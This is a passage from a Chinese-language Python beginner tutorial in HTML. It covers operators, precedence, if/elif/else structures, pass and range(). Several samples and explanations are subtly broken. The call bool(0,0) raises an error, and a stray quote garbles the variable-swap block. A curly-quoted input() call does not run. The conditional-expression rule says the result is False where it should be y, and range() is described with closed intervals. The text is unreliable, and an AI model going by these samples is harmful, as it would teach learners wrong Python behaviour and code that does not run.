中的运算符</h2><p>算术运算符（标准算术运算符，取余运算符，幂运算符）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="number">1</span>+<span class="number">1</span>)     <span class="comment">#加法运算</span></span><br><span class="line">print(<span class="number">1</span>-<span class="number">1</span>)     <span class="comment">#减法运算</span></span><br><span class="line">print(<span class="number">2</span>*<span class="number">4</span>)     <span class="comment">#乘法运算</span></span><br><span class="line">print(<span class="number">11</span>/<span class="number">2</span>)    <span class="comment">#除法运算</span></span><br><span class="line">print(<span class="number">11</span>//<span class="number">2</span>)   <span class="comment">#整除运算</span></span><br><span class="line">print(<span class="number">11</span>%<span class="number">2</span>)    <span class="comment">#取余运算</span></span><br><span class="line">print(<span class="number">2</span>**<span class="number">3</span>)    <span class="comment">#幂运算，2的3次方</span></span><br><span class="line"><span class="comment">#一正一负整除运算  向下取整</span></span><br><span class="line">print(<span class="number">9</span>//<span class="number">4</span>)     <span class="comment">#2</span></span><br><span class="line">print(-<span class="number">9</span>//-<span class="number">4</span>)   <span class="comment">#2</span></span><br><span class="line">print(<span class="number">9</span>//-<span class="number">4</span>)    <span class="comment">#-3</span></span><br><span class="line">print(-<span class="number">9</span>//<span class="number">4</span>)    <span class="comment">#-3</span></span><br><span class="line"><span class="comment">#一正一负取余运算  公式:余数=被除数-除数*商</span></span><br><span class="line">print(<span class="number">9</span>%-<span class="number">4</span>)     <span class="comment">#9-(-4)*(-3)=-3</span></span><br><span class="line">print(-<span class="number">9</span>%<span class="number">4</span>)     <span class="comment">#-9-4*(-3)=3</span></span><br></pre></td></tr></table></figure><p>赋值运算符 =</p><ul><li>执行顺序：从右到左</li><li>支持链式赋值，a = b = c = 20</li><li>支持参数赋值， +=   -=   *=   /=   //=   %=</li><li>支持系列解包赋值，a,b,c = 20,30,40</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#赋值运算符</span></span><br><span class="line">i = <span class="number">3</span>+<span class="number">4</span></span><br><span class="line">print(i)  <span class="comment">#运算顺序从右到左</span></span><br><span class="line">a = b = c = <span class="number">20</span> <span class="comment">#链式赋值</span></span><br><span class="line">print(a,<span class="built_in">id</span>(a))</span><br><span class="line">print(b,<span class="built_in">id</span>(b))</span><br><span class="line">print(c,<span class="built_in">id</span>(c))</span><br><span class="line">print(<span class="string">&#x27;---支持参数赋值---&#x27;</span>)</span><br><span class="line">a = <span class="number">20</span></span><br><span class="line">a += <span class="number">30</span>  <span class="comment">#相当于a=a+30</span></span><br><span class="line">print(a)</span><br><span class="line">a -= <span class="number">10</span></span><br><span class="line">print(a)</span><br><span class="line">a *= <span class="number">2</span></span><br><span class="line">print(a)   <span class="comment">#int类型</span></span><br><span class="line">print(<span class="built_in">type</span>(a))</span><br><span class="line">a /= <span class="number">3</span></span><br><span class="line">print(a)</span><br><span class="line">print(<span class="built_in">type</span>(a))  <span class="comment">#float</span></span><br><span class="line">a //= <span class="number">2</span></span><br><span class="line">print(a)</span><br><span class="line">print(<span class="built_in">type</span>(a))</span><br><span class="line">a %= <span class="number">3</span></span><br><span class="line">print(a)</span><br><span class="line">print(<span class="string">&#x27;---解包赋值---&#x27;</span>)</span><br><span class="line">a,b,c = <span class="number">20</span>,<span class="number">30</span>,<span class="number">40</span></span><br><span class="line">print(a,b,c)</span><br><span class="line">print(<span class="string">&#x27;---交换两个变量的值---&#x27;</span><span class="string">&#x27;)</span></span><br><span class="line"><span class="string">a,b = 10,20</span></span><br><span class="line"><span class="string">print(&#x27;</span>交换之前：<span class="string">&#x27;,a,b)</span></span><br><span class="line"><span class="string">a,b = b,a #交换</span></span><br><span class="line"><span class="string">print(&#x27;</span>交换之后：<span class="string">&#x27;,a,b)</span></span><br></pre></td></tr></table></figure><h2 id="3-比较运算符"><a class="markdownIt-Anchor" href="#3-比较运算符">#</a> 3. 比较运算符</h2><p><strong>比较运算符</strong>对变量或表达式的结果进行大小、真假等比较。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">a,b = <span class="number">10</span>,<span class="number">20</span></span><br><span class="line">print(<span class="string">&#x27;a&gt;b吗？&#x27;</span>,a&gt;b)   <span class="comment">#False</span></span><br><span class="line">print(<span class="string">&#x27;a&lt;b吗？&#x27;</span>,a&lt;b)   <span class="comment">#True</span></span><br><span class="line">print(<span class="string">&#x27;a&lt;=b吗？&#x27;</span>,a&lt;=b)  <span class="comment">#True</span></span><br><span class="line">print(<span class="string">&#x27;a&gt;=b吗？&#x27;</span>,a&gt;=b)  <span class="comment">#False</span></span><br><span class="line">print(<span class="string">&#x27;a==b吗？&#x27;</span>,a==b)</span><br><span class="line">print(<span class="string">&#x27;a!=b吗？&#x27;</span>,a!=b)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;一个 = 称为赋值运算符， == 称为比较运算符</span></span><br><span class="line"><span class="string">  一个变量由三部分组成，标识(id)，类型(type)，值(value)</span></span><br><span class="line"><span class="string">  == 比较的是值还是标识呢？  答案是比较的是值</span></span><br><span class="line"><span class="string">  比较对象的标识使用 is</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="number">10</span></span><br><span class="line">b = <span class="number">10</span></span><br><span class="line">print(a==b)   <span class="comment">#True  说明a与b的value相等</span></span><br><span class="line">print(a <span class="keyword">is</span> b) <span class="comment">#True  说明a与b的id标识相等</span></span><br><span class="line"></span><br><span class="line">lst1=[<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">lst2=[<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">print(lst1 == lst2)  <span class="comment">#value   --True</span></span><br><span class="line">print(lst1 <span class="keyword">is</span> lst2)  <span class="comment">#id      --False</span></span><br><span class="line">print(<span class="built_in">id</span>(lst1))</span><br><span class="line">print(<span class="built_in">id</span>(lst2))</span><br><span class="line"></span><br><span class="line">print(a <span class="keyword">is</span> <span class="keyword">not</span> b)        <span class="comment">#False</span></span><br><span class="line">print(lst1 <span class="keyword">is</span> <span class="keyword">not</span> lst2)  <span class="comment">#True</span></span><br></pre></td></tr></table></figure><h2 id="4-布尔运算符"><a class="markdownIt-Anchor" href="#4-布尔运算符">#</a> 4. 布尔运算符</h2><p><strong>布尔运算符</strong>对于布尔值之间的运算。and,or,not,in,not in</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#布尔运算符</span></span><br><span class="line">a,b = <span class="number">1</span>,<span class="number">2</span></span><br><span class="line">print(<span class="string">&#x27;----and----&#x27;</span>)</span><br><span class="line">print(a==<span class="number">1</span> <span class="keyword">and</span> b==<span class="number">2</span>)  <span class="comment">#True and True  --&gt;True</span></span><br><span class="line">print(a==<span class="number">1</span> <span class="keyword">and</span> b&lt;<span class="number">2</span>)   <span class="comment">#True and False  --&gt;False</span></span><br><span class="line">print(a!=<span class="number">1</span> <span class="keyword">and</span> b==<span class="number">2</span>)  <span class="comment">#False and True  --&gt;False</span></span><br><span class="line">print(a!=<span class="number">1</span> <span class="keyword">and</span> b!=<span class="number">2</span>)  <span class="comment">#False and False --&gt;False</span></span><br><span class="line">print(<span class="string">&#x27;----or----&#x27;</span>)</span><br><span class="line">print(a==<span class="number">1</span> <span class="keyword">or</span> b==<span class="number">2</span>)</span><br><span class="line">print(a==<span class="number">1</span> <span class="keyword">or</span> b&lt;<span class="number">2</span>)</span><br><span class="line">print(a!=<span class="number">1</span> <span class="keyword">or</span> b==<span class="number">2</span>)</span><br><span class="line">print(a!=<span class="number">1</span> <span class="keyword">or</span> b!=<span class="number">2</span>)</span><br><span class="line">print(<span class="string">&#x27;----not-----&#x27;</span>)</span><br><span class="line">f = <span class="literal">True</span></span><br><span class="line">f2 = <span class="literal">False</span></span><br><span class="line">print(<span class="keyword">not</span> f)</span><br><span class="line">print(<span class="keyword">not</span> f2)</span><br><span class="line">print(<span class="string">&#x27;----in与not in------&#x27;</span>)</span><br><span class="line">s = <span class="string">&#x27;helloworld&#x27;</span></span><br><span class="line">print(<span class="string">&#x27;w&#x27;</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="string">&#x27;k&#x27;</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="string">&#x27;w&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> s)</span><br><span class="line">print(<span class="string">&#x27;k&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> s)</span><br></pre></td></tr></table></figure><h2 id="5-位运算符"><a class="markdownIt-Anchor" href="#5-位运算符">#</a> 5. 位运算符</h2><p><strong>位运算符</strong>将数据转换成二进制进行计算。</p><ul><li>位与 &amp;：对应数位都是 1，结果数位才是 1，否则为 0</li><li>位或 |：对应数位都是 0，结果数位才是 0，否则为 1<br><img src="https://static01.imgkr.com/temp/43a703001c824b1db81722ffa5aadebb.png" alt="位与和位或"  /></li><li>左移位 &lt;&lt;：高位溢出舍弃，低位补 0</li><li>右移位 &gt;&gt;：低位溢出舍弃，高位补 0<br><img src="https://static01.imgkr.com/temp/5559907f0eb84e15931f9dacbfa0c9a0.png" alt="移位"></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="number">4</span> &amp; <span class="number">8</span>)  <span class="comment">#按位与</span></span><br><span class="line">print(<span class="number">4</span> | <span class="number">8</span>)  <span class="comment">#按位或</span></span><br><span class="line">print(<span class="number">4</span> &lt;&lt; <span class="number">1</span>) <span class="comment">#向左移动1位置</span></span><br><span class="line">print(<span class="number">4</span> &lt;&lt; <span class="number">2</span>)</span><br><span class="line">print(<span class="number">4</span> &gt;&gt; <span class="number">1</span>)</span><br><span class="line">print(<span class="number">4</span> &gt;&gt; <span class="number">2</span>)</span><br></pre></td></tr></table></figure><h2 id="6-python中的运算符优先级"><a class="markdownIt-Anchor" href="#6-python中的运算符优先级">#</a> 6. Python 中的运算符优先级</h2><blockquote><p>**  *,/,//,%  +,- &lt;&lt;,&gt;&gt;  &amp;  |  &gt;,&lt;,&gt;=,&lt;=,==,!=  and  or =</p></blockquote><blockquote><p>算术 → 位 → 比较（True False）→ 布尔 → 赋值 =</p></blockquote><h1 id="五-往哪走"><a class="markdownIt-Anchor" href="#五-往哪走">#</a> 五、往哪走</h1><h2 id="1-程序的组织结构"><a class="markdownIt-Anchor" href="#1-程序的组织结构">#</a> 1. 程序的组织结构</h2><p>任何简单或复杂的算法都可以由顺序结构、选择结构和循环结构这三种基本结构组合而成。</p><h2 id="2-顺序结构"><a class="markdownIt-Anchor" href="#2-顺序结构">#</a> 2. 顺序结构</h2><p>程序从上到下顺序地执行代码，中间没有任何地判断和跳转，直到程序结束。</p><blockquote><p>程序开始 → 代码 1 → 代码 2 → … → 代码 N → 程序结果</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;把大象装冰箱一共分几步&#x27;&#x27;&#x27;</span></span><br><span class="line">print(<span class="string">&#x27;-------程序开始--------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;1.把冰箱门打开&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;2.把大象放到冰箱里&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;3.把冰箱门关上&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;------程序结束---------&#x27;</span>)</span><br></pre></td></tr></table></figure><h2 id="3-对象的布尔值"><a class="markdownIt-Anchor" href="#3-对象的布尔值">#</a> 3. 对象的布尔值</h2><p>Python 一切皆对象，所有对象都有一个布尔值，获取对象地布尔值使用内置函数 bool ()</p><p>以下对象地布尔值为 False</p><ul><li>False</li><li>数值 0</li><li>None</li><li>空字符串</li><li>空列表</li><li>空元组</li><li>空字典</li><li>空集合</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#测试对象地布尔值</span></span><br><span class="line">print(<span class="string">&#x27;----------布尔值均为False---------&#x27;</span>)</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="literal">False</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="number">0</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="number">0</span>,<span class="number">0</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="literal">None</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="string">&#x27;&#x27;</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="string">&quot;&quot;</span>))  </span><br><span class="line">print(<span class="built_in">bool</span>([]))      <span class="comment">#空列表</span></span><br><span class="line">print(<span class="built_in">bool</span>(<span class="built_in">list</span>()))  <span class="comment">#空列表</span></span><br><span class="line">print(<span class="built_in">bool</span>(()))      <span class="comment">#空元组</span></span><br><span class="line">print(<span class="built_in">bool</span>(<span class="built_in">tuple</span>())) <span class="comment">#空元组</span></span><br><span class="line">print(<span class="built_in">bool</span>(&#123;&#125;))      <span class="comment">#空字典</span></span><br><span class="line">print(<span class="built_in">bool</span>(<span class="built_in">dict</span>()))  <span class="comment">#空字典</span></span><br><span class="line">print(<span class="built_in">bool</span>(<span class="built_in">set</span>()))   <span class="comment">#空集合</span></span><br><span class="line">print(<span class="string">&#x27;------------布尔值为True-------------&#x27;</span>)</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="number">18</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="literal">True</span>))</span><br><span class="line">print(<span class="built_in">bool</span>(<span class="string">&#x27;helloworld&#x27;</span>))</span><br></pre></td></tr></table></figure><h2 id="4-选择结构"><a class="markdownIt-Anchor" href="#4-选择结构">#</a> 4. 选择结构</h2><p>程序根据判断条件地布尔值选择性地执行部分代码，明确地让计算机知道在什么条件下该去做什么。</p><h3 id="1单分支if结构"><a class="markdownIt-Anchor" href="#1单分支if结构">#</a> （1）单分支 if 结构</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">money = <span class="number">1000</span>    <span class="comment">#余额</span></span><br><span class="line">s = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入取款金额：&#x27;</span>))  <span class="comment">#取款金额</span></span><br><span class="line"><span class="comment">#判断余额是否充足</span></span><br><span class="line"><span class="keyword">if</span> money &gt;= s:</span><br><span class="line">  money = money - s</span><br><span class="line">  print(<span class="string">&#x27;取款成功，余额为：&#x27;</span>,money)</span><br></pre></td></tr></table></figure><h3 id="2双分支ifelse结构"><a class="markdownIt-Anchor" href="#2双分支ifelse结构">#</a> （2）双分支 if…else 结构</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;从键盘录入一个整数，编写程序使计算机判断奇偶 &#x27;&#x27;&#x27;</span></span><br><span class="line">num = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入一个整数：&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> num % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line">  print(num,<span class="string">&#x27;是偶数&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  print(num,<span class="string">&#x27;是奇数&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3多分支ifelifelse结构"><a class="markdownIt-Anchor" href="#3多分支ifelifelse结构">#</a> （3）多分支 if…elif…else 结构</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;多分支结构，多选一执行</span></span><br><span class="line"><span class="string">  从键盘录入一个整数成绩</span></span><br><span class="line"><span class="string">    90-100  A</span></span><br><span class="line"><span class="string">    80-89   B</span></span><br><span class="line"><span class="string">    70-79  C</span></span><br><span class="line"><span class="string">    60-69  D</span></span><br><span class="line"><span class="string">    0-59  E</span></span><br><span class="line"><span class="string">    小于0或大于100 为非法数据（不是成绩的有效范围）</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">score = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入一个成绩：&#x27;</span>))</span><br><span class="line"><span class="comment">#判断</span></span><br><span class="line"><span class="keyword">if</span> score &gt;= <span class="number">90</span> <span class="keyword">and</span> score &lt;= <span class="number">100</span>:    <span class="comment">#Python语句独有特点也可写作 if 90 &lt;= score &lt;= 100: </span></span><br><span class="line">  print(<span class="string">&#x27;A级&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> score &gt;= <span class="number">80</span> <span class="keyword">and</span> score &lt;= <span class="number">89</span>:</span><br><span class="line">  print(<span class="string">&#x27;B级&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> score &gt;= <span class="number">70</span> <span class="keyword">and</span> score &lt;= <span class="number">79</span>:</span><br><span class="line">  print(<span class="string">&#x27;C级&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> score &gt;= <span class="number">60</span> <span class="keyword">and</span> score &lt;= <span class="number">69</span>:</span><br><span class="line">  print(<span class="string">&#x27;D级&#x27;</span>)</span><br><span class="line"><span class="keyword">elif</span> score &gt;= <span class="number">50</span> <span class="keyword">and</span> score &lt;= <span class="number">59</span>:</span><br><span class="line">  print(<span class="string">&#x27;E级&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  print(<span class="string">&#x27;对不起，成绩有误，不在成绩的有效范围&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4if语句的嵌套"><a class="markdownIt-Anchor" href="#4if语句的嵌套">#</a> （4）if 语句的嵌套</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;会员    &gt;= 200   8折</span></span><br><span class="line"><span class="string">          &gt;= 100    9折</span></span><br><span class="line"><span class="string">          不打折</span></span><br><span class="line"><span class="string">  非会员   &gt;=200     9.5折</span></span><br><span class="line"><span class="string">          不打折&#x27;&#x27;&#x27;</span></span><br><span class="line">answer = <span class="built_in">input</span>(<span class="string">&#x27;您是会员吗？y/n \n&#x27;</span>)</span><br><span class="line">money = <span class="built_in">float</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入您的购物金额：&#x27;</span>))</span><br><span class="line"><span class="comment">#外层判断是否是会员</span></span><br><span class="line"><span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:   <span class="comment">#会员</span></span><br><span class="line">  <span class="keyword">if</span> money &gt;= <span class="number">200</span>:</span><br><span class="line">    print(<span class="string">&#x27;打8折，付款金额为：&#x27;</span>,money*<span class="number">0.8</span>,<span class="string">&#x27;元&#x27;</span>)</span><br><span class="line">  <span class="keyword">elif</span> money &gt;= <span class="number">100</span>:</span><br><span class="line">    print(<span class="string">&#x27;打9折，付款金额为：&#x27;</span>,money*<span class="number">0.9</span>,<span class="string">&#x27;元&#x27;</span>)</span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;不打折，付款金额为：&#x27;</span>,money,<span class="string">&#x27;元&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:              <span class="comment">#非会员</span></span><br><span class="line">  <span class="keyword">if</span> money &gt;= <span class="number">200</span>:</span><br><span class="line">    print(<span class="string">&#x27;打9.5折，付款金额为：&#x27;</span>,money*<span class="number">0.95</span>,<span class="string">&#x27;元&#x27;</span>)</span><br><span class="line">  <span class="keyword">else</span>:</span><br><span class="line">    print(<span class="string">&#x27;不打折，付款金额为：&#x27;</span>,money,<span class="string">&#x27;元&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="5条件表达式"><a class="markdownIt-Anchor" href="#5条件表达式">#</a> （5）条件表达式</h3><p><strong>条件表达式</strong>是 if…else 的简写，语法结构为：x if 判断条件 else y</p><p>运算规则：如果判断条件的布尔值为 True，条件表达式的返回值为 x，否则条件表达式的返回值为 False。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;从键盘录入两个整数，比较两个整数的大小&#x27;&#x27;&#x27;</span></span><br><span class="line">num_a = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第一个整数：&#x27;</span>))</span><br><span class="line">num_b = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入第二个整数：&#x27;</span>))</span><br><span class="line"><span class="comment">#比较大小</span></span><br><span class="line"><span class="keyword">if</span> num_a &gt;= num_b:</span><br><span class="line">  print(num_a,<span class="string">&#x27;大于等于&#x27;</span>,num_b)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  print(num_a,<span class="string">&#x27;小于&#x27;</span>,num_b)</span><br><span class="line">print(<span class="string">&#x27;---------使用条件表达式进行比较-------------&#x27;</span>)</span><br><span class="line">print(( <span class="built_in">str</span>(num_a) + <span class="string">&#x27;大于等于&#x27;</span> + <span class="built_in">str</span>(num_b))  <span class="keyword">if</span> num_a&gt;=num_b <span class="keyword">else</span> <span class="built_in">str</span>(num_a)+<span class="string">&#x27;小于&#x27;</span>+<span class="built_in">str</span>(num_b))</span><br></pre></td></tr></table></figure><h2 id="5-pass空语句"><a class="markdownIt-Anchor" href="#5-pass空语句">#</a> 5. pass 空语句</h2><p>语句什么都不做，只是一个占位符，用在语法上需要语句的地方。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#pass语句</span></span><br><span class="line">answer = <span class="built_in">input</span>(‘您是会员吗？y/n’)</span><br><span class="line"><span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:</span><br><span class="line">  <span class="keyword">pass</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">  <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><h1 id="六-转圈圈"><a class="markdownIt-Anchor" href="#六-转圈圈">#</a> 六、转圈圈</h1><h2 id="1-range函数的使用"><a class="markdownIt-Anchor" href="#1-range函数的使用">#</a> 1. range () 函数的使用</h2><p><strong>range () 函数</strong>用于生成一个整数序列，其返回值是一个迭代器对象。</p><p>创建 range 对象的三种方式：</p><ul><li>range (stop): 创建一个 [0,stop] 之间的整数序列，步长为 1</li><li>range (start,stop): 创建一个 [start,stop] 之间的整数序列，步长为 1</li><li>range (start,stop,step): 创建一个 [start,stop] 之间的整数序列，步长为 step<br>range 类型的优点：不管 range 对象表示的整数序列有多长，所有 range 对象占用的内存空间都是相同的，因为仅仅需要存储 start,stop 和 step，只有当用到 range 对象时，才会去计算序列中的相关元素。用 in 和 not in 来判断整数序列中是否存在指定的整数。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#range的三种创建方式</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27; 第一种创建方式，只有一个参数&#x27;&#x27;&#x27;</span></span><br><span class="line">r = <span class="built_in">range</span>(<span class="number">10</span>)     <span class="comment">#[0 1 2 3 4 5 6 7 8 9]  默认从0开始，步长为1 </span></span><br><span class="line">print(r)    </span><br><span class="line">print(<span class="built_in">list</span>(r))    <span class="comment">#用于查看range对象中的整数序列  --list是列表函数</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27; 第二种创建方式，括号里给了两个参数&#x27;&#x27;&#x27;</span></span><br><span class="line">r = <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">10</span>)   <span class="comment">#指定了起始值和终止值，区间左闭右开[1,10)</span></span><br><span class="line">print(<span class="built_in">list</span>(r))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27; 第三种创建方式，括号里给出三个参数&#x27;&#x27;&#x27;</span></span><br><span class="line">r = <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">10</span>,<span class="number">2</span>)</span><br><span class="line">print(<span class="built_in">list</span>(r))</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27; 判断指定的整数在序列中是否存在in，not in&#x27;&#x27;&#x27;</span></span><br><span class="line">print(<span class="number">10</span> <span class="keyword">in</span> r)</span><br><span class="line">print(<span class="number">9</span> <span class="keyword">in</span> r)</span><br><span class="line">print(<span class="number">10</span> <span class="keyword">not</span> <span class="keyword">in</span> r)</span><br><span class="line">print(<span class="number">9</span> <span class="keyword">not</span> <span class="keyword">in</span> r)</span><br><span class="line"></span><br><span class="line">print(<span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>,<span class="number">1</span>))</span><br><span class="line">print(<span class="built_in">range</span>(<span class="number">1</span>,<span class="number">101</span>,<span class="number">1</span>))   <span class="comment">#未使用时，上下两个所占内存一样</span></span><br></pre></td></tr></table></figure><h2 id="2-循环结构"><a class="markdownIt-Anchor" href="#2-循环结构">#</a> 2. 